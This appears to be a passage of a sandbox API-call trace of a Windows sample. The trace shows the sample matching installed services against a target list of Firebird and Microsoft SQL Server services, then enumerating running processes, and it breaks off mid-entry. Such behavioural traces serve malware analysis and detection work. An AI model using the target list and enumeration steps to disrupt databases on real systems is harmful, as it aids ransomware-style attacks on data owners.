lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0253.968] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0253.968] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0253.968] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0253.968] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0253.968] lstrlenW (lpString="LSM") returned 3 [0253.968] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0253.968] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0253.968] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0253.968] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0253.968] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0253.968] lstrlenW (lpString="MpsSvc") returned 6 [0253.968] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0253.968] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0253.968] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0253.968] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0253.968] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0253.968] lstrlenW (lpString="NcbService") returned 10 [0253.969] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0253.969] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0253.969] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0253.969] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0253.969] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0253.969] lstrlenW (lpString="netprofm") returned 8 [0253.969] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0253.969] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0253.969] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0253.969] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0253.969] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0253.969] lstrlenW (lpString="NgcSvc") returned 6 [0253.969] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0253.969] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0253.969] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0253.969] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0253.969] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0253.969] lstrlenW (lpString="NlaSvc") returned 6 [0253.969] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0253.969] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0253.969] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0253.969] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0253.969] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0253.969] lstrlenW (lpString="nsi") returned 3 [0253.969] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0253.969] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0253.969] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0253.970] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0253.970] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0253.970] lstrlenW (lpString="PcaSvc") returned 6 [0253.970] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0253.970] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0253.970] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0253.970] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0253.970] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0253.970] lstrlenW (lpString="PlugPlay") returned 8 [0253.970] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0253.970] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0253.970] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0253.970] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0253.970] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0253.970] lstrlenW (lpString="Power") returned 5 [0253.970] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0253.970] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0253.970] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0253.970] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0253.970] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0253.970] lstrlenW (lpString="ProfSvc") returned 7 [0253.970] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0253.970] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0253.970] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0253.970] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0253.970] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0253.970] lstrlenW (lpString="RpcEptMapper") returned 12 [0253.970] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0253.971] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0253.971] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0253.971] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0253.971] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0253.971] lstrlenW (lpString="RpcSs") returned 5 [0253.971] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0253.971] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0253.971] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0253.971] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0253.971] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0253.971] lstrlenW (lpString="SamSs") returned 5 [0253.971] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0253.971] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0253.971] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0253.971] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0253.971] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0253.971] lstrlenW (lpString="Schedule") returned 8 [0253.971] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0253.971] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0253.971] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0253.971] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0253.971] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0253.971] lstrlenW (lpString="SecurityHealthService") returned 21 [0253.971] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0253.971] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0253.971] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0253.972] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0253.972] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0253.972] lstrlenW (lpString="SENS") returned 4 [0253.972] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0253.972] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0253.972] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0253.972] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0253.972] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0253.972] lstrlenW (lpString="ShellHWDetection") returned 16 [0253.972] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0253.972] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0253.972] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0253.972] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0253.972] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0253.972] lstrlenW (lpString="Spooler") returned 7 [0253.972] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0253.972] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0253.972] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0253.972] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0253.972] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0253.972] lstrlenW (lpString="StateRepository") returned 15 [0253.972] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0253.972] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0253.972] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0253.972] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0253.972] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0253.972] lstrlenW (lpString="SysMain") returned 7 [0253.972] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0253.972] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0253.973] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0253.973] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0253.973] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0253.973] lstrlenW (lpString="SystemEventsBroker") returned 18 [0253.973] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0253.973] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0253.973] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0253.973] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0253.973] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0253.973] lstrlenW (lpString="Themes") returned 6 [0253.973] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0253.973] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0253.973] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0253.973] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0253.973] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0253.973] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0253.973] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0253.973] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0253.973] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0253.973] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0253.973] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4053110 | out: hHeap=0x630000) returned 1 [0253.973] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1194 [0254.144] Process32FirstW (in: hSnapshot=0x1194, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0254.145] Process32NextW (in: hSnapshot=0x1194, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6a, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0254.146] lstrlenW (lpString="System") returned 6 [0254.147] Process32NextW (in: hSnapshot=0x1194, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0254.147] lstrlenW (lpString="smss.exe") returned 8 [0254.148] Process32NextW (in: hSnapshot=0x1194, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0254.148] lstrlenW (lpString="csrss.exe") returned 9 [0254.149] Process32NextW (in: hSnapshot=0x1194, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0254.150] lstrlenW (lpString="wininit.exe") returned 11 [0254.150] Process32NextW (in: hSnapshot=0x1194, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0254.151] lstrlenW (lpString="csrss.exe") returned 9 [0254.151] Process32NextW (in: hSnapshot=0x1194, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0254.152] lstrlenW (lpString="winlogon.exe") returned 12 [0254.152] Process32NextW (in: hSnapshot=0x1194, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0254.153] lstrlenW (lpString="services.exe") returned 12 [0254.153] Process32NextW (in: hSnapshot=0x1194, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0254.154] lstrlenW (lpString="lsass.exe") returned 9 [0254.154] Process32NextW (in: hSnapshot=0x1194, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0254.155] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0254.155] Process32NextW (in: hSnapshot=0x1194, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0254.156] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0254.157] Process32NextW (in: hSnapshot=0x1194, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0254.157] lstrlenW (lpString="svchost.exe") returned 11 [0254.158] Process32NextW (in: hSnapshot=0x1194, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0254.158] lstrlenW (lpString="svchost.exe") returned 11 [0254.159] Process32NextW (in: hSnapshot=0x1194, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0254.159] lstrlenW (lpString="dwm.exe") returned 7 [0254.160] Process32NextW (in: hSnapshot=0x1194, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x37, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0254.160] lstrlenW (lpString="svchost.exe") returned 11 [0254.160] Process32NextW (in: hSnapshot=0x1194, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0254.161] lstrlenW (lpString="svchost.exe") returned 11 [0254.161] Process32NextW (in: hSnapshot=0x1194, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0254.162] lstrlenW (lpString="svchost.exe") returned 11 [0254.162] Process32NextW (in: hSnapshot=0x1194, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0254.163] lstrlenW (lpString="svchost.exe") returned 11 [0254.163] Process32NextW (in: hSnapshot=0x1194, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x39c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0254.164] lstrlenW (lpString="svchost.exe") returned 11 [0254.164] Process32NextW (in: hSnapshot=0x1194, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0254.173] lstrlenW (lpString="svchost.exe") returned 11 [0254.173] Process32NextW (in: hSnapshot=0x1194, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0254.174] lstrlenW (lpString="svchost.exe") returned 11 [0254.174] Process32NextW (in: hSnapshot=0x1194, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0254.175] lstrlenW (lpString="svchost.exe") returned 11 [0254.175] Process32NextW (in: hSnapshot=0x1194, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0254.177] lstrlenW (lpString="svchost.exe") returned 11 [0254.177] Process32NextW (in: hSnapshot=0x1194, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0254.178] lstrlenW (lpString="svchost.exe") returned 11 [0254.178] Process32NextW (in: hSnapshot=0x1194, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0254.178] lstrlenW (lpString="spoolsv.exe") returned 11 [0254.179] Process32NextW (in: hSnapshot=0x1194, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0254.179] lstrlenW (lpString="svchost.exe") returned 11 [0254.179] Process32NextW (in: hSnapshot=0x1194, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x698, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x4bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0254.180] lstrlenW (lpString="audiodg.exe") returned 11 [0254.180] Process32NextW (in: hSnapshot=0x1194, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0254.255] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0254.255] Process32NextW (in: hSnapshot=0x1194, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x76c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0254.256] lstrlenW (lpString="Memory Compression") returned 18 [0254.257] Process32NextW (in: hSnapshot=0x1194, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0254.258] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0254.258] Process32NextW (in: hSnapshot=0x1194, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x3c4, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0254.259] lstrlenW (lpString="taskhostw.exe") returned 13 [0254.259] Process32NextW (in: hSnapshot=0x1194, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0254.260] lstrlenW (lpString="sihost.exe") returned 10 [0254.260] Process32NextW (in: hSnapshot=0x1194, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0254.261] lstrlenW (lpString="svchost.exe") returned 11 [0254.261] Process32NextW (in: hSnapshot=0x1194, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0254.262] lstrlenW (lpString="taskhostw.exe") returned 13 [0254.262] Process32NextW (in: hSnapshot=0x1194, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c4, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0254.263] lstrlenW (lpString="msoia.exe") returned 9 [0254.263] Process32NextW (in: hSnapshot=0x1194, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3a, th32ParentProcessID=0x9b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0254.264] lstrlenW (lpString="explorer.exe") returned 12 [0254.264] Process32NextW (in: hSnapshot=0x1194, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0254.265] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0254.265] Process32NextW (in: hSnapshot=0x1194, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0254.266] lstrlenW (lpString="SearchUI.exe") returned 12 [0254.266] Process32NextW (in: hSnapshot=0x1194, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0254.267] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0254.267] Process32NextW (in: hSnapshot=0x1194, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, 